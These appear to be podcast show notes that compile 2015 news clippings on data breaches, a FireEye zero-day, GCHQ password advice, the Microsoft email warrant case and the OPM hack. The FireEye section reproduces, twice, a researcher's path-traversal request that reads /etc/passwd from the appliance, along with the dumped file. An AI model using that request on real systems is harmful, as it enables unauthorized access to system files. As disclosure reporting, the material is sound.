756: Shemita Cycle

Adam Curry & John C. Dvorak

2h 44m
September 13th, 2015
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Executive Producers: Sir Bryan Barrow, Nikara Greif

Associate Executive Producers: Sir Mike of Wakefield, Ethan Smith, Sir Thomas Nussbaum, Travis Benelli, Deez Nutz

Cover Artist: Nick the Rat

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CVSPhoto Hack
Updated September 11, 2015: In July, we learned that customer credit card information entered by certain users on CVSPhoto.com, which is operated by PNI Media (an independent third-party vendor who manages the hosted CVSPhoto.com site), was potentially impacted. As a precaution, we immediately shut down access to online and related mobile photo services and began an investigation, which is ongoing.
We continue to work diligently on restoring service to CVSPhoto.com and we expect that our online photos service will resume later this fall. Your images are saved and you will have access to them once service to CVSPhoto.com is restored. Our in-store photo centers are not affected and remain in service. Film and disposable camera orders are being processed and your CVS/pharmacy will contact you when they are received.
Investigators have now confirmed that there was an illegal intrusion into PNI's system that potentially resulted in the unauthorized acquisition of data entered by certain users on CVSPhoto.com. In the coming days we will be sending a direct notification to those customers who were potentially affected by this intrusion.
The following websites and operations were NOT affected by this security incident: CVS.com; optical.cvs.com; cvs.com/MinuteClinic on line bill pay; and CVS/pharmacy retail stores. No transactions made on those websites, or in stores, were impacted by this incident.
Nothing is more central to us than protecting the privacy and security of our customer information, including financial information. We apologize for this inconvenience. Please visit your local CVS/pharmacy to use one of our Photo Kiosks for all of your photo needs (prints, books, calendars and film processing.)
If you have any questions regarding this incident, please contact our dedicated incident response call center at 888-829-6551. If you have questions regarding other customer service matters, please call 1-800-SHOP-CVS.
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Researcher discloses zero-day vulnerability in FireEye | CSO Online
Mon, 07 Sep 2015 14:09
On Sunday, Kristian Erik Hermansen disclosed a zero-day vulnerability in FireEye's core product, which if exploited, results in unauthorized file disclosure. As proof, he also posted a brief example of how to trigger the vulnerability and a copy of the /etc/passwd file. What's more, he claims to have three other vulnerabilities, and says they're for sale.
Based on the published information on Exploit-DB and Pastebin, the basic setup of the compromised appliance is exactly what you'd expect it to be; the box has Apache, pushing PHP, running as root.
The other listed services are also expected on a forward facing Web-appliance, including SSH and FTP. However, the disclosed flaw looks to be centered in a PHP script on the FireEye appliance itself.
MORE ON CSO: What is wrong with this picture? The NEW clean desk test"FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network," wrote Hermansen in a note that accompanied the disclosure and proof.
"Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process."
Salted Hash has reached out to FireEye for comment, but given that it's a holiday weekend here in the U.S., it's unlikely they'll respond any time soon. If they do, this story will be updated.
While one of the FireEye vulnerabilities has been published, Hermansen has claimed three others on Twitter. The remaining three, which have not been posted to the public, are for sale.
In addition to the file disclosure vulnerability (which can be triggered remotely), Hermansen has claimed to have a login bypass vulnerability, as well as command injection vulnerabilities; one unauthenticated and the other authenticated.
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Early last year, Hermansen made headlines after dealing with lawyers working for Covered California, the website responsible for the state's Affordable Care Act registrations.
He had disclosed a number of security issues with the website, but was met with silence from the state and those responsible for the portal's development. After a month of waiting, he disclosed the issues publicly.
Shortly after the public disclosure, lawyers for Covered California reached out; but not to move forward with a fix - they were more interested in getting the disclosure video and all mentions of the flaw removed form the Web, Hermansen said in an interview with Forbes.
Given his past experience with disclosure, perhaps history is repeating itself with FireEye, only now, Hermansen is willing to sell the vulnerabilities.
The last time FireEye had to deal with vulnerabilities and negative reactions form the InfoSec world, it was because they were accused of putting pressure on a researcher's employer after he disclosed flaws in FireEye's Malware Analysis System (MAS).
Update:
Shortly after this story went live, Hermansen responded to our email requesting additional information. He said that while working with another researcher (Ron Perris), the two discovered thirty vulnerabilities in FireEye's product, including multiple remote root issues.
"I tried for 18 months to work with FireEye through responsible channels and they balked every time. These issues need to be released because the platforms are wrought with vulnerabilities and the community needs to know, especially since these are Gov-approved Safe Harbor devices with glaring remote root vulnerabilities," Hermansen told Salted Hash via email.
"No one should be trusting these devices on their network if FireEye can't be bothered to fix the problems. As a security company, their standards should be higher."
The Safe Harbor mention is in reference to claims made by FireEye earlier this year, where the company told customers they have liability shields. FireEye said that customers using their Multi-Vector Virtual Execution engine and Dynamic Threat Intelligence platform will see "potential savings on both insurance and legal expenses" due to the legal protections afforded by the SAFETY Act.
Given a choice, Hermansen said he'd rather disclose the zero-day vulnerabilities to FireEye directly and be compensated for the work they've done. However, the base asking price starts at around $10,000 USD per bug.
Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for m - Pastebin.com
Tue, 08 Sep 2015 14:05
By: a guest on Sep 2nd, 2015 | syntax: None | size: 1.99 KB | views: 5,939 | expires: NeverJust one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process.
FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network?!?!?
https://fireeyeapp/script/NEI_ModuleDispatch.php?module=NEI_AdvancedConfig&function=HapiGetFileContents&name=../../../../../../../../../../../etc/passwd&extension=&category=operating%20system%20logs&mode=download&time=...&mytoken=...
...
root:aaaaa:16209:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
vcsa:!!:16209::::::
rpc:!!:16209:0:99999:7:::
saslauth:!!:16209::::::
postfix:!!:16209::::::
rpcuser:!!:16209::::::
nfsnobody:!!:16209::::::
apache:!!:16209::::::
ntp:!!:16209::::::
lighttpd:!!:16209::::::
sshd:!!:16209::::::
mailnull:!!:16209::::::
smmsp:!!:16209::::::
openvpn:!!:16209::::::
tcpdump:!!:16209::::::
applianceuser::16209:0:99999:7:::
rproxy:aaaaa:16209:0:99999:7:::
sfserver:aaaaa:16209:0:99999:7:::
provisioning:aaaaa:16209:0:99999:7:::
upgrayedd:aaaaa:16209:0:99999:7:::
sftasker:aaaaa:16209:0:99999:7:::
felistener:aaaaa:16209:0:99999:7:::
lighthouse:aaaaa:16209:0:99999:7:::
crlfactory:aaaaa:16209:0:99999:7:::
panlistener:aaaaa:16209:0:99999:7:::
fireeye::16209:0:99999:7:::
--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen
Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process.FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network?!?!?https://fireeyeapp/script/NEI_ModuleDispatch.php?module=NEI_AdvancedConfig&function=HapiGetFileContents&name=../../../../../../../../../../../etc/passwd&extension=&category=operating%20system%20logs&mode=download&time=...&mytoken=......root:aaaaa:16209:0:99999:7:::bin:*:15628:0:99999:7:::daemon:*:15628:0:99999:7:::adm:*:15628:0:99999:7:::lp:*:15628:0:99999:7:::sync:*:15628:0:99999:7:::shutdown:*:15628:0:99999:7:::halt:*:15628:0:99999:7:::mail:*:15628:0:99999:7:::uucp:*:15628:0:99999:7:::operator:*:15628:0:99999:7:::games:*:15628:0:99999:7:::gopher:*:15628:0:99999:7:::ftp:*:15628:0:99999:7:::nobody:*:15628:0:99999:7:::vcsa:!!:16209::::::rpc:!!:16209:0:99999:7:::saslauth:!!:16209::::::postfix:!!:16209::::::rpcuser:!!:16209::::::nfsnobody:!!:16209::::::apache:!!:16209::::::ntp:!!:16209::::::lighttpd:!!:16209::::::sshd:!!:16209::::::mailnull:!!:16209::::::smmsp:!!:16209::::::openvpn:!!:16209::::::tcpdump:!!:16209::::::applianceuser::16209:0:99999:7:::rproxy:aaaaa:16209:0:99999:7:::sfserver:aaaaa:16209:0:99999:7:::provisioning:aaaaa:16209:0:99999:7:::upgrayedd:aaaaa:16209:0:99999:7:::sftasker:aaaaa:16209:0:99999:7:::felistener:aaaaa:16209:0:99999:7:::lighthouse:aaaaa:16209:0:99999:7:::crlfactory:aaaaa:16209:0:99999:7:::panlistener:aaaaa:16209:0:99999:7:::fireeye::16209:0:99999:7:::--Kristian Erik Hermansen (@h3rm4ns3c)https://www.linkedin.com/in/kristianhermansen
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About face: UK spy agency urges users to make easier internet passwords -- Puppet Masters -- Sott.net
Sun, 13 Sep 2015 13:59
(C) Flickr/ Christiaan Colen
The UK intelligence agency GCHQ has published a report on internet security advising that fewer and less complex passwords should be used in order to increase security online, instead of adding more and varied characters in a bid to raise security."This proliferation of password use, and increasingly complex password requirements, places an unrealistic demand on most users,"
GCHQ writes in the document, published in conjunction with the UK Center for Protection of National Infrastructure [CESG], a government agency which advises the UK's public sector organizations."Inevitably, users will devise their own coping mechanisms to cope with 'password overload.' This includes writing down passwords, re-using the same password across different systems, or using simple and predictable password creation strategies."
In an about-face from its previous guidance that encouraged system owners to add complexity in order to make passwords 'stronger,' the agency writes that "the abundance of sites and services that require passwords means users have to follow an impossible set of password rules in order to 'stay secure.'""An important way to minimize the password burden is to only implement passwords when they are really needed," states the report, which goes on to offer a series of recommendations for the management of internet safety.
Rather than enforcing requirements for users to come up with complex character sets, it is more prudent to use technical controls such as account lockouts or throttling to defend against automated guessing attacks, says GCHQ.
"Account lockout is simpler to implement than throttling, but can have a detrimental impact on the user experience," the report cautions, and advises giving the user ten attempts to type the right password before the account is locked, which "gives a good balance between security and usability."
In addition, the organization advises that regular password changing, imposed by many organizations at intervals of 30, 60 or 90 days, "carries no real benefits as stolen passwords are generally exploited immediately," and users are in any case likely to choose new passwords that are only minor variations of the old.
GCHQ and CESG also recommended that organizations provide their employees with appropriate facilities to store recorded passwords, and cited a recent survey which reported that UK citizens each had an average of 22 online passwords, far more than most people can easily remember.
Despite that statistic, GCHQ has concentrated its efforts on improving security in the UK's national infrastructure organizations, rather than among the general public; in June it was reported that GCHQ and the US spy agency NSA had reverse engineered security and anti-virus software in order to obtain information about vulnerabilities in security software, and intelligence about its users.
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Microsoft case: DoJ says it can demand every email from any US-based provider | Technology | The Guardian
Fri, 11 Sep 2015 15:46
Microsoft is facing the US government in a case involving a search warrant for emails in Ireland. Photograph: Shannon Stapleton/Reuters
The United States government has the right to demand the emails of anyone in the world from any email provider headquartered within US borders, Department of Justice (DoJ) lawyers told a federal appeals court on Wednesday.
The case being heard in the second circuit court of appeals is between the US and Microsoft and concerns a search warrant that the government argues should compel Microsoft to retrieve emails held on a Hotmail server in Ireland.
Microsoft contends that the DoJ has exceeded its authority with potentially dangerous consequences. Organizations including Apple, the government of Ireland, Fox News, NPR and the Guardian have filed amicus briefs with the court, arguing the case could set a precedent for governments around the world to seize information held in the cloud. Judges have ruled against the tech company twice.
Counsel for Microsoft contends that the US search warrant should not have been used to compel it to hand over emails stored in Ireland. ''This is an execution of law enforcement seizure on their land,'' Joshua Rosenkranz, counsel for Microsoft, told the court. ''We would go crazy if China did this to us.''
Related:Decision in Microsoft case could set dangerous global precedent, experts say
The DoJ contends that emails should be treated as the business records of the company hosting them, by which definition only a search warrant would be needed in order to compel the provision of access to them no matter where they are stored. Microsoft argues the emails are the customers' personal documents and a US warrant does not carry the authority needed to compel the company to hand it over.
''This notion of the government's that private emails are Microsoft's business records is very scary,'' Rosenkranz told the court.
The three-judge panel hearing the appeal consists of judges Victor Bolden, Susan Carney and Gerard Lynch, the last of whom successfully prosecuted commodities oil magnate Marc Rich in the late 1980s. Rich counted among his clients embargoed Iran, apartheid-era South Africa and Chile under Pinochet.
Lynch's case against Rich hinged on subpoenaed documents from Swiss companies, a fact both he and assistant US attorney Justin Anderson were quick to point out. When Rosenkranz said the warrant constituted a violation of national sovereignty, Lynch said: ''That's exactly what the Swiss said we were doing in Marc Rich. I stood there and argued it to this court.
''We don't do foreign relations,'' Lynch said. ''If Congress passes a law and the executive wields it like a blunderbuss in such a way as to cause international tensions, that's for them to worry about.''
But Lynch also expressed reservations about the government's contention that this was a particularly powerful search warrant. ''I have a lot of experience with search warrants,'' said Lynch. ''I've signed a few of them, and they don't require you to disclose things.''
Warrants give law enforcement the right to enter and search premises; subpoenas compel their targets to disclose information. ''It's a subpoena dressed up as a warrant that also has the powers of a subpoena?'' Bolden asked Anderson, who told him it was indeed.
Anderson said that a warrant required a very high legal standard, and said that the case wasn't about who ultimately had the intellectual property rights to the emails. ''It's not about ownership, it's about custody and control,'' he told the judges.
He further said that the US couldn't reasonably be expected to know the nationality of someone committing a crime. ''It is highly unlikely at the time the government is issuing a warrant in a narcotics case that it knows the nationality of the persons involved,'' he said.
Judge Carney grilled the government counsel on his interpretation of the statute in play, the Stored Communications Act of 1986, which Microsoft contends could not possibly have foreseen international cloud computing.
''The warrant doesn't care where these records are,'' Anderson told Carney.
She asked: ''And what indication is there in the statute that Congress didn't care, either?''
Lynch seemed fascinated that there were so few American regulations on what Microsoft could choose to do with its clients' emails. He asked whether the company could take everyone's emails ''to some briefcase-bank country that has no regulations and disclose them to the National Enquirer'' and Rosenkranz acknowledged that legally it could. (''Our business model would evaporate,'' he said in answer to a similar question earlier in the hearing.)
''Both sides are in agreement that there are not as many protections on electronic communications as electronic communicators might like because the providers can do whatever they want with those communications, so long as they do it abroad,'' Lynch concluded.
At the end of the hearing, Lynch echoed Rosenkranz's call for legislation from Congress to clarify the decades-old law '' Microsoft has called for Congress to pass the Law Enforcement Access to Data Stored Abroad (Leads) Act, though he observed to Rosenkranz that the legislature isn't known for its speed. ''It would be helpful if Congress would engage in that kind of nuanced interpretation,'' he said, ''and we should all be holding our breaths for when they do.''
A ruling in the case could come as early as October or as late as February.
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Obama: China cyber attacks 'unacceptable' - BBC News
Sat, 12 Sep 2015 14:16
Image copyrightAFPImage caption Mr Obama wants to see the US and China follow common rules in cyberspace US President Barack Obama has said that alleged Chinese cyber attacks are "not acceptable", ahead of a visit from Chinese leader Xi Jinping.
Several hacks on US institutions have been blamed on China, including one involving millions of government staff.
Mr Obama said the US needed to be more rapid in its response to such attacks.
Separately, the White House said Mr Obama will no longer stay at New York's Waldorf Astoria hotel, which was bought by a Chinese company last year.
White House Spokesman Josh Earnest would not comment on whether the purchase raised concerns about Chinese spying.
"There are a range of considerations that influence where the president will stay when he's not at the White House... everything from available space, to cost and to security," Mr Earnest said.
Mr Obama made his remarks after meeting members of the US military at Fort Meade, Maryland, with Mr Xi due in Washington later this month.
"We have been very clear to the Chinese that there are certain practices that they are engaging in, that we know are emanating from China and are not acceptable."
He suggested the two sides would have to agree on common rules in cyberspace, arguing "there comes a point at which we consider this a core national security threat and we will treat it as such".
But he said that China should fear confrontation online: "I guarantee you we will win if we have to."
Aside from China's suspected involvement in the attack on the Office of Personnel Management, US prosecutors last year charged five Chinese army officers with economic espionage.
But China has said it is the victim of US cyber attacks, allegations Beijing said were supported by the revelations from US intelligence contractor Edward Snowden.
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Contractor breach gave hackers keys to OPM data
Thu, 10 Sep 2015 04:13
Aaron Boyd, Senior Staff Writer4:44 p.m. EDT June 25, 2015
Katherine Archuleta, Director of the Office of Personnel Management, told a Senate committee hackers used credentials stolen in KeyPoint data breach to access OPM systems.(Photo: Mark Wilson/Getty Images)
A breach of KeyPoint Government Solutions'--a contractor used by federal agencies to conduct background checks'--gave hackers the credentials needed to access sensitive employee data held by the Office of Personnel Management, the agency director confirmed Tuesday.
During a hearing in front of the Senate Appropriations Subcommittee on Financial Services and General Government, OPM Director Katherine Archuleta told legislators there was a direct line between the August breach of KeyPoint systems and the two intrusions of OPM servers detected in April.
More:Could OPM have prevented the breach?
"While the adversary leveraged a compromised KeyPoint user credential to gain access to OPM's network, we don't have any evidence that would suggest KeyPoint as a company was responsible or directly involved in the intrusion," Archuleta said.
Having valid credentials allowed the intruders access to the system, as well as any encrypted files and other data that might have otherwise been restricted. The hackers successfully exfiltrated data on some 4.2 million current and former employees in an initial breach and highly sensitive background investigations on a still untold number of feds in a second intrusion.
More:OPM breach a failure on encryption, detection
The two contractor breaches were also significant in their own right. The Department of Homeland Security announced last August that unauthorized users gained access to records held by USIS, which DHS also contracted with, exposing data on some 27,000 DHS employees.
That month, hackers also breached KeyPoint's systems, the second largest contractor for DHS and OPM, affecting more than 48,000 employees. DHS and KeyPoint announced the breach publicly in December 2014.
More:Data on 48,000 feds exposed in contractor breach
Data from USASpending.gov show a sharp decline in contracting dollars going to USIS (and parent company Altegrity) in 2015, after OPM decided to not renew its contract. KeyPoint and CACI International picked up the majority of those contracts and are now the two largest background investigators for the federal government.
(Government data also shows a dip in contract awards to USIS in 2013, due to adjustments made from excess funds awarded in prior years.)
More:DHS, OPM suspend contracts with USIS after major cyberattack
"Since last year, we have been working with KeyPoint and they have taken strides in securing its network and have been proactive in meeting the additional security controls that we have asked them to use," Archuleta told the subcommittee.
Lawmakers brought up the possibility that compromised contractor credentials were used to access OPM's systems during the first congressional hearing on the OPM breach, held by the House Committee on Oversight and Governmental Reform on June 16.
More:OPM laxity to blame for data breach, lawmakers say
"Did these cyberattackers gain access to OPM's data systems using information they stole from USIS or KeyPoint last year? Did they get the keys to OPM's networks from one of its contractors?" Rep. Elijah Cummings, D-Md., asked.
Officials declined to answer the question directly during that first hearing, offering to brief committee members later that day during a confidential session.
Cummings said he asked for representatives from KeyPoint and USIS to attend the House hearing, however both declined.
Multimedia Report:The OPM Data Breach
Third party background investigators have seen drastic shifts in the amount of contract spending coming from OPM. (Photo: John Harman/Staff)
Read or Share this story: http://fedtimes.ly/1N6jB8q
DOJ wants USIS parent company to pay damages despite bankruptcy filing - The Washington Post
Thu, 10 Sep 2015 04:14
The once massive government contractor that performed the bulk of the background investigations used in U.S. security clearances is essentially dead and gone. USIS lost its lucrative contracts after it was accused of defrauding the federal government in a whistleblower lawsuit, and its parent company filed for bankruptcy.
But the Justice Department is not done with the case. The department, which joined the lawsuit last year, is now arguing that Altegrity's bankruptcy plan should not preclude the whistleblower from collecting damages.
The filing in U.S. Bankruptcy Court on Friday comes as Congress hopes to question a representative of the company on the massive computer breach at the Office of Personnel Management that potentially exposed the personal information of as many as 4 million people.
The leaders of the House Oversight and Government Reform Committee have requested that officials from USIS and KeyPoint Government Solutions, which now performs a large portion of the government's background checks, appear for questioning at a hearing scheduled for Wednesday.
Both USIS and KeyPoint were hacked last year, though it is not clear whether those attacks were related to the breach at OPM.
After a hearing last week on the breach, Rep. Elijah E. Cummings (D-Md.), the committee's ranking Democrat, said in a statement that he now feels ''more strongly than ever that the Oversight Committee must hear directly from OPM's two contractors '-- KeyPoint and USIS '-- either in transcribed interviews or in formal testimony before the committee.''
Last year, the Justice Department joined the whistleblower lawsuit against USIS filed by Blake Percival, a former fieldwork services director. The suit accused the company of submitting investigations that they said were complete even though they had not received a required quality review, in an effort to increase profits. The elaborate process was known as ''dumping'' or ''flushing'' and affected 665,000 cases, the suit said.
[Even after Snowden, quota system on background checks may imperil U.S. secrets]
USIS, which performed the background investigations of Edward Snowden, the National Security Agency leaker, and Aaron Alexis, the Washington Navy Yard shooter, lost the contract late last year, and now the work is performed largely by KeyPoint and CACI.
USIS has billed for an additional $44 million for work performed for OPM, the filing said.
But the Justice Department and Percival want to ensure that any judgment they might win will be paid out by the company. The filing objecting to Altegrity's bankruptcy plan also said that Altegrity faces an investigation by the Labor Department into alleged violations in the company's retirement and health-care plans. It did not detail what those violations were.
The Labor Department did not return calls requesting comment. Altegrity declined to comment.
In the filing, Justice Department attorneys said that the whistleblower lawsuit has been stayed '-- the reason is under seal '-- so they have not been able to get all of the relevant documents and testimony.
As a result, additional parties, ''including Altegrity and individual employees involved in the fraudulent scheme,'' could be named as defendants in the case, they wrote.
Christian Davenport covers federal contracting for The Post's Financial desk. He joined The Post in 2000 and has served as an editor on the Metro desk and as a reporter covering military affairs. He is the author of "As You Were: To War and Back with the Black Hawk Battalion of the Virginia National Guard."
Michael Powell (lobbyist) - Wikipedia, the free encyclopedia
Thu, 10 Sep 2015 04:16
For the Louisiana former state representative, see Mike Powell (Louisiana politician).Michael Kevin Powell (born March 23, 1963) is an American former Republicanchairman of the Federal Communications Commission and current president of the lobbyist trade group the National Cable & Telecommunications Association (NCTA).[1] He was appointed to the Federal Communications Commission by PresidentBill Clinton on November 3, 1997. President George W. Bush designated him chairman of the commission on January 22, 2001. Powell is the son of former Secretary of StateColin Powell and his wife Alma Powell.
Early life and personal details[edit]Michael Powell was born in Birmingham, Alabama in 1963. He graduated from the College of William and Mary, where he was initiated into Theta Delta Chi, on an ROTCScholarship. Powell served as an armor officer in the United States Army. He spent the majority of his active service with the 3rd Squadron, 2nd Armored Cavalry Regiment in Amberg, Germany, serving as a cavalryplatoon leader and troopexecutive officer. In 1987, Powell was seriously injured during a training mission.[2] He and his unit were traveling in a convoy on the autobahn. Powell was riding in a jeep at the time. Due to heavy rain, the jeep crashed and Powell was ejected from the vehicle. After he hit the pavement, the jeep bounced and crashed down on Powell's midsection.
Half of Powell's pelvis had snapped off its rear anchor on the lower spine. In the front, it had ripped free of the cartilage connecting it to its other half. His bladder and urethra were torn and several vertebrae were cracked.
After initial attention from German emergency room doctors, Powell was flown to a U.S. Army hospital in Nuremberg. After being stabilized, he was flown to Washington, D.C. and admitted to Walter Reed Army Medical Center where he spent a year in recovery. To this day, his spine is still fused at its base, forcing him to walk with a slight forward pitch.
After his rehabilitation he served as an expert advisor to the Secretary of Defense. Powell later received a Juris Doctor (J.D.) degree from the Georgetown University Law Center and clerked for the U.S. Court of Appeals for the D. C. Circuit. He then worked for a year and a half as a private attorney in the Washington, D.C. office of O'Melveny & Myers, an L.A.-based firm, as well as in the antitrust division of the Justice Department for a year.
FCC Chairman[edit]As the chairman of the FCC, Powell led the charge to open up markets in VoIP, Wi-Fi, and Broadband over Powerline (BPL). His approach believed that these new communications technologies would allow small companies to take on established corporations, and that regulations often stood in the way of progress.
His deregulatory policy coincided with a period of significant consolidation in the communications market. He advocated an updating of media ownership rules to reflect new communications technologies such as the Internet, a move that critics derided as increasing rampant media consolidation. He opposed applying telephone-era regulations to new Internet technologies, a move critics charged would deny open access to communications facilities. He articulated a policy of network neutrality, and in March 2005 fined Madison River Communications for blocking voice over IP applications, the first-ever government action of its kind.[3] Powell worked so consumers could keep phone numbers when switching wireless carriers and championed the National Do Not Call Registry.[4]
A defining moment of his tenure as FCC Chairman was the Super Bowl XXXVIII halftime show controversy, in which Janet Jackson's breast was exposed on live-broadcast television. This high-profile incident increased public attention toward the FCC's enforcement of indecency rules, which had already stepped up following Bono's use of an expletive on live TV. Powell himself later said that the controversy was overblown, although he recognized that it would cause concern when he saw it at a Super Bowl party. In an interview with ESPN The Magazine, he stated, "I think we've been removed from this long enough for me to tell you that I had to put my best version of outrage on that I could put on. Part of it was surreal, right? Look, I think it was dumb to happen, and they knew the rules and were flirting with them, and my job is to enforce the rules, but, you know, really? This is what we're gonna do?" In the aftermath, the FCC processed hundreds times more complaints than they had ever received.[5]
Howard Stern and other controversial on-air personalities felt the sting of record fines, and both the U.S. House and Senate separately approved legislation significantly increasing the amount of money a station could be fined for indecency. Although the legislation was not ultimately enacted, the climate in Washington became so grey that several TV stations across the country declined to air Saving Private Ryan on Veterans Day for fear of FCC fines. Powell was interviewed on San Francisco talk radio station KGO (AM) when Stern called in to confront Powell. Stern questioned Powell's credentials, saying he got the job only because of his father and accused Powell of targeting him and fining him large amounts of money.[6]
Some of Powell's initiatives have been challenged in federal court. Notably, the FCC's BrandX cable modem service decision, which declared cable modem should be free from telephone service regulations, was overturned in the Ninth Circuit case but was reinstated by the Supreme Court. The FCC's Broadcast Flag proceeding was overturned by the D.C. Circuit Court as an inappropriate exercise of FCC jurisdiction. The FCC's Media Ownership rules were likewise blocked by federal court and the television ownership cap set directly by the U.S. Congress.
During his Chairmanship he was invited to speak at the University of California, San Diego on January 26, 2004. The video is available on-line through the University of California, and is titled: FCC's Michael Powell: Charting the Future of the Telecom Industry.[7] In the talk Powell spoke about the process of effecting change in Washington. He also spoke about Ultra-wideband and speculated on the effect it would have on telecommunications.
In a notable confrontation over the FCC's local telephone competition rules, Powell was outflanked by Republican Kevin Martin, who formed a majority with the FCC's two Democratic commissioners. Powell was later vindicated by a D.C. Circuit Court decision on March 2, 2004 that struck down Martin's order. Three months later, the U.S. Supreme Court let the D.C. Circuit decision stand. When Powell resigned, Kevin Martin, who served George W. Bush's presidential campaign in Florida, was named the FCC's new Chairman. Martin has subsequently purged the FCC of many of Powell's staff.
While at the FCC, Powell was also the FCC's Defense Commissioner and oversaw all National Security Emergency Preparedness functions for the Commission.[4]
Post-FCC work[edit]Powell resigned as Chairman of the FCC on January 21, 2005. He said that he was glad to spend more time with his wife. In March 2006, Powell became a member of the board of trustees, for the RAND Corporation.[8] He served two terms as a member of the Board of Visitors at his alma mater, the College of William and Mary, from 2002 to 2009. On April 21, 2006, Powell was elected the Rector of the Board of Visitors, making him the first African-American to serve in that post in the College's 313-year history.[9] He served as rector for two terms, stepping down on July 1, 2009.[10]
In 2013, Powell was a signatory to an amicus curiae brief submitted to the Supreme Court in support of same-sex marriage during the Hollingsworth v. Perry case.[11]
President of NCTA and anti-Net-Neutrality lobbying[edit]On March 15, 2011, the National Cable & Telecommunications Association (NCTA) announced that Powell would take the helm from Kyle McSlarrow, beginning April 25.[12] Powell left his advisory role with Providence Equity Partners. In 2012, he spoke with FCC Chairman Julius Genachowski and gave the keynote speech during the industry's Cable Show.[13] In April 2012, he contributed an opinion piece to Politico about the importance of cyber threats.[14]
As a lobbyist representing the telecommunications companies, Powell published numerous editorials and opinion pieces around the country in opposition to Net Neutrality.[15] In late November, 2014, US President Barack Obama announced his administration's support for the principals of a free and open Internet without "fast lanes".[16] After the president took a stand, Powell made statements in the National Journal and other media claiming that Net Neutrality would be harmful.
References[edit]^"Michael Powell, Ex-FCC Head, Named Top Cable Industry Lobbyist". ^http://www.ncs.gov/news/2001/press%20release/012901b.html^Madison River Communications, LLC and affiliated companies (order text, PDF)^ abhttp://transition.fcc.gov/commissioners/previous/powell/biography.html^Cogan, Marin (January 28, 2014). "In the beginning, there was a nipple". ESPN the Magazine. Retrieved January 30, 2014. ^http://www.today.com/id/6343696#.Utc81p6wJcQ^FCC's Michael Powell: Charting the Future of the Telecom Industry^TIMOTHY F. GEITHNER, MICHAEL K. POWELL AND MARTA TIENDA JOIN RAND CORPORATION BOARD OF TRUSTEES^Michael Powell elected rector of College^Henry C. Wolf '64, J.D. '66 Elected Rector of the College^http://www.thedailybeast.com/articles/2013/02/28/the-pro-freedom-republicans-are-coming-131-sign-gay-marriage-brief.html^NCTA Names Powell President, Multichannel News, March 15, 2011.^http://2012.thecableshow.com/vod^http://www.politico.com/news/stories/0412/75644.html^Powell, Michael (October 31, 2014). "The FCC and competition". ^Miller, Zeke (November 9, 2014). "Obama Signals Opposition to 'Fast Lanes' in Support of Net Neutrality". Time Magazine. Retrieved November 12, 2014. External links[edit]
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Cable trouble undercuts FCC's huge cloud move -- FCW
Thu, 10 Sep 2015 14:10
Cloud
Cable trouble undercuts FCC's huge cloud moveBy Zach NobleSep 09, 2015So a commercial cloud kingdom was lost '' all for want of a properly connected cable?
The FCC's massive move to commercial cloud has been delayed after a cable-centered snafu, and it has sent employees scrambling.
The FCC's initial notice of the Labor Day weekend upgrades said the work would be wrapped up by 8 a.m. EDT on Sept. 8. Two hours after that deadline passed, the agency tweeted that work would stretch until 8 a.m. EDT on Sept. 10.
''It was supposed to be done this weekend, but they told us not to come into work because it didn't happen,'' one FCC employee told FCW. ''Oh well.'' The employee said Office 365 remained accessible remotely for FCC employees.
''FCC employees with an existing telework agreement have had the option to telework,'' an FCC spokesperson told FCW on Sept. 9. ''The Internet at the headquarters has been down during the back-end IT upgrades thus some employees have chosen to telework in order to access email.''
The spokesperson confirmed that the work should be wrapped up by Sept. 10.
''With a massive server move of this scale '' even with detailed planning, independent verification, and backup plans '' the opportunity always exists for surprises, especially with legacy IT systems, nearly 400 program applications, and hundreds of servers,'' wrote FCC CIO David Bray, the man powering the move, in a Sept. 8 blog post. After seven moving vans full of equipment arrived at their new home safely on Sept. 4, ''we discovered the need for some additional cabling to be done by our commercial partners that took longer than expected,'' Bray wrote.
Bray did not name the ''commercial partners,'' but the FCC spokesperson pointed to IBM, saying ''the commission has partnered with IBM on this very complex project during which we physically moved more than 200 servers off-site.''
Bray was scheduled to keynote the NextGov Prime conference Sept. 9, but he was a last-minute cancellation. Conference organizers attributed his absence to his needing to help sort out the situation at his agency.
(Bray did stay connected to the event on Twitter, living up to his ''one-man tweet storm'' reputation.)
While employees might be without Internet at headquarters, the FCC has hurried to get public-facing services online, with the Electronic Comment Filing System and the Electronic Document Management System back up Sept. 8.
Many other systems will remain offline until Sept. 10, the agency said.
About the Author
Zach Noble is a staff writer covering cloud, big data and workforce issues. Connect with him on Twitter: @thezachnoble.
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Caliphate!
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'Annoying' But Deadly? The Debate Over Killing ISIS's 'Twitter Tough Guys' - ABC News
Sun, 13 Sep 2015 00:25
A year into the U.S. strategy to ''degrade and destroy'' ISIS, a debate has erupted among some counter-terrorism officials and experts over the value of hunting down the extremist group's propagandists and ''Twitter tough guys'' alongside the most senior leaders in Syria and Iraq.
